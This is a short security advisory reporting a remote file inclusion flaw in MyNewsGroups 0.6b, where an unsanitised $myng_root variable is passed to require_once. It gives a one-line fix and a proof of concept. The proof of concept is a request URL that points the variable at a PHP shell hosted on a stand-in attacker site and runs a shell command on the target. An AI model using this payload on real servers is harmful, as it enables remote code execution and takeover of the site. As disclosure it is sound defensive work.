+-------------------------------------------------------------------- + + MyNewsGroups :) v. 0.6b <= Remote File Inclusion + +-------------------------------------------------------------------- + + Affected Software .: MyNewsGroups :) v. 0.6b + Venedor ...........: http://mynewsgroups.sourceforge.net + Class .............: Remote File Inclusion + Risk ..............: high (Remote File Execution) + Found by ..........: Philipp Niedziela + Original advisory .: http://www.bb-pcsecurity.de/ + Contact ...........: webmaster[at]bb-pcsecurity[.]de + +-------------------------------------------------------------------- + + Code /lib/tree/layersmenue.inc.php: + + ..... + <?php + // PHP Layers Menu 2.3.5 (C) 2001-2003 Marco Pratesi (marco at telug dot it) + + require_once $myng_root."/pear/PEAR.php"; + ..... + +-------------------------------------------------------------------- + + $myng_root is not properly sanitized before being used. + The bug is in the "PHP Layers Menu 2.3.5" Package for MyNewsGroups. + +-------------------------------------------------------------------- + + Solution: + Add this line to your php-file: + + $myng_root ="bla/bla" //Your root path + +-------------------------------------------------------------------- + PoC: + Place a PHPShell on a remote location: + http://evilsite.com/pear/PEAR.php/index.html + + http://[target]/lib/tree/layersmenu.inc.php?myng_root=http://evilsite.co m/P EAR.php/&cmd=ls + +-------------------------------------------------------------------- + + Greets: + Krini&Lenni + +-------------------------[ E O F ]----------------------------------